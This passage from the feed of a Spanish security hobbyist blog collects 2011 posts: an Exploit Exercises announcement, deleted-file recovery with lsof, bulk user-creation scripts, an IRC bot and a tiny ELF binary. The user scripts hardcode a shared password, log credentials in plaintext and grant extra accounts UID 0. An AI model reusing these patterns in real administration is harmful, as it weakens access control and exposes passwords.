src='https://blogger.googleusercontent.com/tracker/23164839-7174399088069025766?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=7174399088069025766' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/7174399088069025766'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/7174399088069025766'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2011/12/hacking-qr-codes.html' title='Hacking QR codes'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-ry5oBgbzDOE/TtixWJm1rcI/AAAAAAAAAMk/tcv-21i6I0A/s72-c/qr_code.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-8450194941150529865</id><published>2011-11-26T16:34:00.005+01:00</published><updated>2012-02-09T13:53:28.822+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='shellcode'/><title type='text'>Exploit exercises</title><content type='html'>&lt;b&gt;&lt;a href="http://exploit-exercises.com/"&gt;http://exploit-exercises.com/&lt;/a&gt;&lt;/b&gt; Ya tengo diversion.&lt;br&gt;&lt;br /&gt;About Exploit Exercises&lt;br&gt;&lt;br /&gt;exploit-exercises.com provides a variety of virtual machines, documentation and challenges that can be used to learn about a variety of computer security issues such as privilege escalation, vulnerability analysis, exploit development, debugging, reverse engineering.&lt;br&gt;&lt;br /&gt;Nebula takes the participant through a variety of common (and less than common) weaknesses and vulnerabilities in Linux. It takes a look at&lt;br&gt;&lt;br /&gt;        SUID files&lt;br /&gt;        Permissions&lt;br /&gt;        Race conditions&lt;br /&gt;        Shell meta-variables&lt;br /&gt;        $PATH weaknesses&lt;br /&gt;        Scripting language weaknesses&lt;br /&gt;        Binary compilation failures&lt;br /&gt;        At the end of Nebula, the user will have a reasonably thorough understanding of local attacks against Linux systems, and a cursory look at some of the remote attacks that are possible.&lt;br&gt;&lt;br /&gt;Protostar introduces the following in a friendly way:&lt;br&gt;&lt;br /&gt;        Network programming&lt;br /&gt;        Byte order&lt;br /&gt;        Handling sockets&lt;br /&gt;        Stack overflows&lt;br /&gt;        Format strings&lt;br /&gt;        Heap overflows&lt;br /&gt;        The above is introduced in a simple way, starting with simple memory corruption and modification, function redirection, and finally executing custom shellcode. Address Space Layout Randomisation and Non-Executable memory has been disabled.&lt;br&gt;&lt;br /&gt;Fusion is the next step from the protostar setup, and covers more advanced styles of exploitation, and covers a variety of anti-exploitation mechanisms such as:&lt;br&gt;&lt;br /&gt;        Address Space Layout Randomisation&lt;br /&gt;        Position Independent Executables&lt;br /&gt;        Non-executable Memory&lt;br /&gt;        Source Code Fortification (_DFORTIFY_SOURCE=)&lt;br /&gt;        Stack Smashing Protection (ProPolice / SSP)&lt;br /&gt;        In addition to the above, there are a variety of other challenges and things to explore, such as:&lt;br&gt;&lt;br /&gt;        Cryptographic issues&lt;br /&gt;        Timing attacks&lt;br /&gt;        Variety of network protocols (such as Protocol Buffers and Sun RPC)&lt;br /&gt;        At the end of Fusion, the participant will have a through understanding of exploit prevention strategies, associated weaknesses, various cryptographic weaknesses, numerous heap implementations.&lt;br&gt;&lt;br /&gt;A disfrutar.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8450194941150529865?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=8450194941150529865' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8450194941150529865'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8450194941150529865'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2011/11/httpexploit-exercises.html' title='Exploit exercises'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-8586168626874235676</id><published>2011-11-24T19:38:00.004+01:00</published><updated>2012-01-11T17:09:56.839+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='forensics'/><category scheme='http://www.blogger.com/atom/ns#' term='*nix'/><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><title type='text'>"Recuperando" archivos borrados con lsof</title><content type='html'>Hola,&lt;br /&gt;&lt;br /&gt;Puede usarse el mitico lsof para recuperar archivos borrados. Por ejemplo, logs borrados en una maquina comprometida que aun estan siendo accedidos por su demonio correspondiente, un servidor Apache, etc.&lt;br /&gt;&lt;br /&gt;En un terminal:&lt;br /&gt;&lt;pre class="brush: bash"&gt;$ echo probando &gt;basura7&lt;br /&gt;$ less basura7&lt;/pre&gt;&lt;br /&gt;Y dejamos el less con el archivo abierto. Entonces en otro terminal:&lt;br /&gt;&lt;pre class="brush: bash"&gt;$ rm basura7&lt;br /&gt;$ ls basura7&lt;br /&gt;/bin/ls: basura7: No such file or directory&lt;br /&gt;$ lsof |grep basura7&lt;br /&gt;less      14481       usuario    4r      REG        8,1          9    2627682 /tmp/basura7 (deleted)&lt;br /&gt;$ file /proc/14481/fd/4&lt;br /&gt;/proc/14481/fd/4: broken symbolic link to `/tmp/basura7 (deleted)'&lt;br /&gt;$ cat /proc/14481/fd/4&lt;br /&gt;probando&lt;/pre&gt;&lt;br /&gt;El primer numero es el PID. El segundo el numero de descriptor de fichero donde ese proceso lo tiene abierto. Y ahi esta "recuperado" (entre comillas porque realmente nunca se borro del disco).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8586168626874235676?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=8586168626874235676' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8586168626874235676'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/8586168626874235676'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2011/11/recuperando-archivos-borrados-con-lsof.html' title='&quot;Recuperando&quot; archivos borrados con lsof'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-161333996172861006</id><published>2011-11-16T15:53:00.006+01:00</published><updated>2012-01-21T12:00:34.495+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='*nix'/><category scheme='http://www.blogger.com/atom/ns#' term='scripting'/><title type='text'>ksh / expect AIX create users</title><content type='html'>&lt;div&gt;Hola,&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Aqui dos scripts tontos en ksh para AIX que acabo de hacer por si le pueden servir a alguien. Uno crea todos los usuarios listados en el archivo de texto que se le pasa como argumento al script. En cada linea dos columnas, el user seguido del grupo principal al que debe pertenecer. El otro es un script expect que asigna una contraseña a los usuarios, pues el comando passwd de este AIX no tiene opcion -stdin.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;3. Lo aburrido y rutinario es malo.&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;#!/usr/bin/ksh&lt;br /&gt;PERS_HOME="/home/"&lt;br /&gt;PASS="el_password"&lt;br /&gt;PERS_SH="/usr/bin/ksh"&lt;br /&gt;cat $1 | \while read USER GROUP&lt;br /&gt;do&lt;br /&gt;  # Si ya existe el user&lt;br /&gt;  cut -d: -f1 /etc/passwd |grep ${USER} &gt;/dev/null&lt;br /&gt;  OUT=$?  if [[ ${OUT} -eq 0 ]]  then&lt;br /&gt;  echo &gt;&amp;2 "ERROR: El usuario: ${USER} ya existe."&lt;br /&gt;  else&lt;br /&gt;    useradd -g ${GROUP} -m -d ${PERS_HOME}${USER} -s ${PERS_SH} ${USER}&lt;br /&gt;    ./pass.exp ${USER} ${PASS}&lt;br /&gt;    # Forzar usuario a cambiar password en el siguiente inicio de sesion&lt;br /&gt;    pwdadm -f ADMCHG ${USER}&lt;br /&gt;  fi&lt;br /&gt;done&lt;/pre&gt;&lt;br /&gt;&lt;div&gt;pass.exp:&lt;/div&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;#!/usr/bin/expect&lt;br /&gt;spawn passwd [lindex $argv 0]&lt;br /&gt;set password [lindex $argv 1]&lt;br /&gt;expect "password:"send "$password\r"&lt;br /&gt;expect "password:" { send "$password\r" } \&lt;br /&gt;"password again:" { send "$password\r" }&lt;br /&gt;expect eof&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;i&gt;3. Boredom and drudgery are evil.&lt;br /&gt;&lt;br /&gt;Hackers (and creative people in general) should never be bored or have to drudge at stupid repetitive work, because when this happens it means they aren't doing what only they can do: solve new problems. This wastefulness hurts everybody. Therefore boredom and drudgery are not just unpleasant but actually evil.&lt;br /&gt;&lt;br /&gt;To behave like a hacker, you have to believe this enough to want to automate away the boring bits as much as possible, not just for yourself but for everybody else (especially other hackers).&lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-161333996172861006?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=161333996172861006' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/161333996172861006'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/161333996172861006'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2011/11/ksh-aix-create-users.html' title='ksh / expect AIX create users'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-5496841165539958571</id><published>2011-11-15T18:02:00.008+01:00</published><updated>2012-01-11T17:10:29.590+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='*nix'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><title type='text'>bash create users and make root a list of users (UID = 0)</title><content type='html'>Hola,&lt;br /&gt;&lt;br /&gt;Aqui dos scripts tontos en bash que acabo de hacer por si le pueden servir a alguien. Uno crea todos los usuarios listados en el archivo de texto que se le pasa como argumento al script. El otro hace root a los usuarios definidos en el archivo de texto que tambien se pasa como argumento.&lt;br /&gt;&lt;br /&gt;Evidentemente, yo implementaria sudo, pero a veces no depende de uno.&lt;br /&gt;&lt;br /&gt;3. Lo aburrido y rutinario es malo.&lt;br /&gt;&lt;pre class="brush: bash"&gt;#!/bin/bash&lt;br /&gt;# create_users.sh v0.1 / vlan7 / 15-Nov-2011&lt;br /&gt;# Crea users pasados en argumento como archivo de texto, un user por linea&lt;br /&gt;# hay que ser root&lt;br /&gt;if [ $EUID -ne 0 ]; then&lt;br /&gt;  echo "Este script solo puede ejecutarlo root" 1&gt;&amp;2&lt;br /&gt;  exit 1&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;# vars&lt;br /&gt;PERS_HOME="/home/"&lt;br /&gt;PERS_SH="/bin/bash"&lt;br /&gt;PASS="el_password"&lt;br /&gt;&lt;br /&gt;# hay argumento?&lt;br /&gt;[ $# -eq 0 ] &amp;&amp; { echo &gt;&amp;2 ERROR: Debe introducir como argumento un txt con usuarios, uno por linea ; exit 1; }&lt;br /&gt;# file exists?&lt;br /&gt;[ -f "$1" ] || { echo &gt;&amp;2 ERROR: El archivo pasado como argumento no existe ; exit 1; }&lt;br /&gt;NOW=$(date +"%Y-%m-%d-%X")&lt;br /&gt;HOSTNAME=$(hostname)&lt;br /&gt;LOGFILE="create_users_log-$HOSTNAME-$NOW.log"&lt;br /&gt;TEMP_FILE=$(mktemp)&lt;br /&gt;# remove duplicates &amp; blank lines&lt;br /&gt;awk ' !x[$0]++' $1 | grep -v '^$' &gt;$TEMP_FILE&lt;br /&gt;for user in $(cat $TEMP_FILE); do&lt;br /&gt;  # Si ya existe el user&lt;br /&gt;  cut -d: -f1 /etc/passwd | grep "$user" &gt; /dev/null&lt;br /&gt;  OUT=$?&lt;br /&gt;  if [ $OUT -eq 0 ];then&lt;br /&gt;    echo &gt;&amp;2 "ERROR: El usuario: \"$user\" ya existe."&lt;br /&gt;    echo &gt;&amp;2 "ERROR: El usuario: \"$user\" ya existe." &gt;&gt; "$LOGFILE"&lt;br /&gt;  else&lt;br /&gt;    # Creamos nuevo user&lt;br /&gt;    /usr/sbin/useradd -d "$PERS_HOME""$user" -s "$PERS_SH" -m "$user"&lt;br /&gt;    # Asignamos passwd.&lt;br /&gt;    echo $PASS | passwd --stdin $user&lt;br /&gt;    # Forzamos cambio al primer logeo.&lt;br /&gt;    passwd -e $user&lt;br /&gt;    # grabamos user/pass en log&lt;br /&gt;    echo -e $user"\t"$PASS &gt;&gt; "$LOGFILE"&lt;br /&gt;    echo "El usuario \"$user\" ha sido creado y su password es: $PASS"&lt;br /&gt;  fi&lt;br /&gt;done&lt;/pre&gt;&lt;br /&gt;&lt;pre class="brush: bash"&gt;#!/bin/bash&lt;br /&gt;# mod_users.sh v0.1 / vlan7 / 15-Nov-2011&lt;br /&gt;# Modifica users (hace UID=0) pasados en argumento como archivo de texto&lt;br /&gt;&lt;br /&gt;# hay que ser root&lt;br /&gt;if [ $EUID -ne 0 ]; then&lt;br /&gt;  echo "Este script solo puede ejecutarlo root" 1&gt;&amp;2&lt;br /&gt;  exit 1&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;# hay argumento?&lt;br /&gt;[ $# -eq 0 ] &amp;&amp; { echo &gt;&amp;2 ERROR: Debe introducir como argumento un txt con usuarios, uno por linea ; exit 1; }&lt;br /&gt;# file exists?&lt;br /&gt;[ -f "$1" ] || { echo &gt;&amp;2 ERROR: El archivo pasado como argumento no existe ; exit 1; }&lt;br /&gt;NOW=$(date +"%Y-%m-%d-%X")&lt;br /&gt;HOSTNAME=$(hostname)&lt;br /&gt;LOGFILE="mod_users_log-$HOSTNAME-$NOW.log"&lt;br /&gt;TEMP_FILE=$(mktemp)&lt;br /&gt;# remove duplicates &amp; blank lines&lt;br /&gt;awk ' !x[$0]++' $1 | grep -v '^$' &gt;$TEMP_FILE&lt;br /&gt;for user in $(cat $TEMP_FILE); do&lt;br /&gt;  # Si no existe el user&lt;br /&gt;  cut -d: -f1 /etc/passwd | grep "$user" &gt; /dev/null&lt;br /&gt;  CAMPO1=$?&lt;br /&gt;  # Si el user ya es root&lt;br /&gt;  cut -d: -f3 /etc/passwd | grep "$user" &gt; /dev/null&lt;br /&gt;  CAMPO3=$?&lt;br /&gt;  if [ $CAMPO1 -ne 0 -o $CAMPO3 -ne 1 ];then&lt;br /&gt;    echo &gt;&amp;2 "ERROR: El usuario: \"$user\" no existe o ya es root."&lt;br /&gt;    echo &gt;&amp;2 "ERROR: El usuario: \"$user\" no existe o ya es root." &gt;&gt; "$LOGFILE"&lt;br /&gt;  else&lt;br /&gt;    # Hacemos root al user&lt;br /&gt;    /usr/sbin/usermod -u 0 --non-unique "$user"&lt;br /&gt;    # grabamos user en log&lt;br /&gt;    echo "$user ahora es root" &gt;&gt; "$LOGFILE"&lt;br /&gt;    echo "El usuario \"$user\" ha sido hecho root"&lt;br /&gt;  fi&lt;br /&gt;done&lt;/pre&gt;&lt;br /&gt;Igual le sirven a alguien.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-5496841165539958571?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=5496841165539958571' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/5496841165539958571'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/5496841165539958571'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2011/11/bash-create-users-and-make-root.html' title='bash create users and make root a list of users (UID = 0)'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-64924629454247477</id><published>2011-10-29T00:31:00.004+02:00</published><updated>2012-02-10T12:38:00.959+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='offtopic'/><title type='text'>Fascinacion por los aparatos</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-UD9PQJZoiw0/Tqsrq_3IaRI/AAAAAAAAALY/hTsEnl7GQYQ/s1600/vt220.jpg" imageanchor="1" style="clear:left; float:left;margin-right:1em; margin-bottom:1em"&gt;&lt;img border="0" height="257" width="320" src="http://1.bp.blogspot.com/-UD9PQJZoiw0/Tqsrq_3IaRI/AAAAAAAAALY/hTsEnl7GQYQ/s320/vt220.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;Yo llegue a usar precisamente este terminal tonto VT220. Estuvo en el A2 de la FIB de la UPC hasta que retiraron los VTxxx. Estaba alimentado solo por una pila (un hack es eso). Con ese terminal (u otros, habia de VT220 a VT440, la diferencia notable era la rapidez del scroll) conectaba contra alguno de los dos VAX que estaban en cluster, un 8600 que entro en la FIB el año 1986 y compartia 6 discos con otro VAX 785 de tal forma que no se duplicaba el SW y se garantizaba la consistencia de los datos almacenados. Como se compartian los datos se podia trabajar indistintamente, bajo autorizacion, en el 8600 o en el 785. El LCFIB (Laboratori de Calcul de la Facultat d'Informatica de Barcelona) bautizo ese cluster con el nombre de "ISIS", y los hostnames eran chooyu o meiga. Me gustaba Opera en plena guerra Netscape / IE, pero en los terminales tontos tenia que navegar con Lynx, conectaba por telnet a MUDs (juegos de rol en modo texto al estilo de las viejas aventuras conversacionales) como Medina en la direccion nescafib.upc.es en no recuerdo que puerto. El Medina fue hecho por algunos colgados de la FIB, y no era mas que un fork de uno ingles (Aurora creo) y creo que fue el primer MUD en castellano. En el Medina matabas a profesores de entonces por el campus, etc. (la LOPD nunca se metio con nosotros por meter nombres y apellidos de profesores). Podias hacer grupos con gente que se conectaba de otras universidades y corrias el riesgo de que el operador (el becario encargado) te hiciera un "disuser" (lo habitual era una semana sin cuenta) si te pillaban. Incluso consegui un cliente de IRC para VMS, no recuerdo ni de donde. En los 90 Telefonica (Infovia) no estaba al alcance de muchos de nosotros y la tarifa plana era una utopia.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-64924629454247477?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=64924629454247477' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/64924629454247477'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/64924629454247477'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2011/10/fascinacion-por-los-aparatos.html' title='Fascinacion por los aparatos'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-UD9PQJZoiw0/Tqsrq_3IaRI/AAAAAAAAALY/hTsEnl7GQYQ/s72-c/vt220.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-6232109439524808693</id><published>2011-09-22T20:54:00.005+02:00</published><updated>2012-01-11T17:11:01.725+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='shellcode'/><title type='text'>Exploiting para niños. Protecciones implementadas por el S.O. La historia</title><content type='html'>Hola exploiters,&lt;br /&gt;&lt;br /&gt;Estoy escribiendo un documento sobre la historia de las protecciones implementadas por el S.O. a los buffer overlows. Es aun un borrador y puede encontrarse el WIP en la wiki de shellcoding en la direccion &lt;a href="https://sites.google.com/a/vlan7.org/wiki/file-cabinet/ROP.pdf?attredirects=0&amp;amp;d=1"&gt;&lt;b&gt;Exploiting para niños. Protecciones implementadas por el S.O. La historia.&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Mi idea es crear un documento con cierta perspectiva historica sobre las protecciones contra buffer overflows implementadas por el S.O. mas que crear un documento tecnico, de ahi el nombre.&lt;br /&gt;&lt;br /&gt;La &lt;a href="http://zen7.vlan7.org"&gt;&lt;b&gt;wiki xchg ax, ax&lt;/b&gt;&lt;/a&gt; ha sido remodelada, aunque no quiero dedicar demasiado tiempo pues no soy diseñador.&lt;br /&gt;&lt;br /&gt;Suerte,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-6232109439524808693?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=6232109439524808693' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/6232109439524808693'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/6232109439524808693'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2011/09/exploiting-para-ninos-protecciones.html' title='Exploiting para niños. Protecciones implementadas por el S.O. La historia'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-5154777726020393612</id><published>2011-08-26T16:44:00.010+02:00</published><updated>2012-01-11T17:11:16.216+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='irc'/><category scheme='http://www.blogger.com/atom/ns#' term='scripting'/><title type='text'>bot irc en python que dice titulos de youtubes que escriben los users</title><content type='html'>Hola,&lt;br /&gt;&lt;br /&gt;Hace poco mas de un año hice un &lt;a href="http://www.vlan7.org/2010/07/bot-irc-que-dice-titulos-que-escriben.html"&gt;&lt;b&gt;bot irc en bash&lt;/a&gt;&lt;/b&gt; programado para decir los titulos de los youtubes que escribian por el general de un canal de irc sus usuarios.&lt;br /&gt;&lt;br /&gt;Hoy comparto con vosotros un bot irc codificado en python por mi amigo &lt;b&gt;vermells&lt;/b&gt;. Es un colega que anda dandole a diversos lenguajes de programacion, sobre todo C y python, y python es el lenguaje en que mas comodo se siente. Esta probado tanto en Linux como windows. Ahi va:&lt;br /&gt;&lt;br /&gt;&lt;pre class="brush: python"&gt;import socket, string, urllib2&lt;br /&gt;#Programa que crea un bot para el IRC&lt;br /&gt;def formateo(cadena):&lt;br /&gt;    cont = 0&lt;br /&gt;    cadena=cadena+';'&lt;br /&gt;    lista=[]&lt;br /&gt;    while cont!= len(cadena):&lt;br /&gt;        if cadena[cont]=='&amp;':&lt;br /&gt;            while cadena[cont]!=';':&lt;br /&gt;                cont+=1&lt;br /&gt;        else:&lt;br /&gt;            lista.append(cadena[cont])&lt;br /&gt;            cont+=1&lt;br /&gt;    while ';' in lista:&lt;br /&gt;       del lista[lista.index(';')]&lt;br /&gt;    title=string.join(lista)&lt;br /&gt;    socket_bot.send('PRIVMSG '+canal+' :'+'\x0300,10'+title+'\n')&lt;br /&gt;botnick = "Manolo333"&lt;br /&gt;server = "luna.irc-hispano.org"&lt;br /&gt;puerto = 6667&lt;br /&gt;canal = "#canal"&lt;br /&gt;cont=1&lt;br /&gt;f = open("log.txt", "w")&lt;br /&gt;socket_bot = socket.socket()&lt;br /&gt;socket_bot.connect((server, puerto))&lt;br /&gt;socket_bot.send('USER bobo bubu bibi :amateur\n')&lt;br /&gt;socket_bot.send('NICK ' +botnick+'\n')&lt;br /&gt;while True:&lt;br /&gt;    line = socket_bot.recv(4096)&lt;br /&gt;    print line&lt;br /&gt;    if line.find('PING')!=-1:&lt;br /&gt;        socket_bot.send('PONG ' +line.split()[1]+'\r\n') &lt;br /&gt;    socket_bot.send("JOIN " +canal+'\n')        &lt;br /&gt;    f.write(line)&lt;br /&gt;    cont=cont+1&lt;br /&gt;    if cont==1000:&lt;br /&gt;        print "se cerrara el archivo"&lt;br /&gt;        f.close()&lt;br /&gt;        socket_bot.close()&lt;br /&gt;    if line.find('youtube.com') != -1:&lt;br /&gt;            tmp = line.split()&lt;br /&gt;            tmp = tmp.pop()&lt;br /&gt;            title = tmp[1:]&lt;br /&gt;            try:&lt;br /&gt;                url = urllib2.urlopen(title)&lt;br /&gt;                while True:&lt;br /&gt;                    html = url.readline()&lt;br /&gt;                    if html.find('&lt;title&gt;') != -1:&lt;br /&gt;                        html = url.readline()&lt;br /&gt;                        print html&lt;br /&gt;                        while html.find('&lt;/title&gt;') == -1:&lt;br /&gt;                            formateo(html)&lt;br /&gt;                            html = url.readline()&lt;br /&gt;                        break&lt;br /&gt;            except:&lt;br /&gt;                continue&lt;/pre&gt;&lt;br /&gt;Suerte,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-5154777726020393612?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=5154777726020393612' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/5154777726020393612'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/5154777726020393612'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2011/08/bot-irc-en-python-que-dice-titulos-de.html' title='bot irc en python que dice titulos de youtubes que escriben los users'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-8986736184250290549</id><published>2011-07-09T13:11:00.004+02:00</published><updated>2011-11-23T11:56:24.247+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='asm'/><title type='text'>The smallest Linux ELF binary to print 'Hello world!' [58 bytes]</title><content type='html'>&lt;pre class="brush: nasm8086"&gt;BITS 32&lt;br /&gt; ORG 0&lt;br /&gt;&lt;br /&gt; DB 0x7F&lt;br /&gt;entry:&lt;br /&gt; inc ebp&lt;br /&gt; dec esp&lt;br /&gt; inc esi&lt;br /&gt; mov dl, 14&lt;br /&gt; mov cl, hello&lt;br /&gt; xor dword [ecx], 0x6C4D6549&lt;br /&gt; inc ebx&lt;br /&gt; push dword 0x00030002&lt;br /&gt; mov al, 4&lt;br /&gt; int 0x80&lt;br /&gt; add [eax], eax&lt;br /&gt; add [eax], al&lt;br /&gt; sbb [eax], al&lt;br /&gt; add [eax], al&lt;br /&gt; sbb [eax], al&lt;br /&gt; add [eax], al&lt;br /&gt; xchg eax, esi&lt;br /&gt; dec ebx&lt;br /&gt; int 0x80&lt;br /&gt; DD 0x00210000-0x18&lt;br /&gt;hello: DD 0x00210001&lt;br /&gt; DB 'o, world!', 10&lt;/pre&gt;&lt;br /&gt;nasm -f bin -o tiny-hello.bin tiny-hello.asm &amp;&amp; chmod +x tiny-hello.bin&lt;br /&gt;&lt;br /&gt;Fuente: &lt;a href="http://d.hatena.ne.jp/kikx/20061111"&gt;http://d.hatena.ne.jp/kikx/20061111&lt;/a&gt;. Si encuentras algo mejor, dimelo.&lt;br /&gt;&lt;br /&gt;Suerte,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 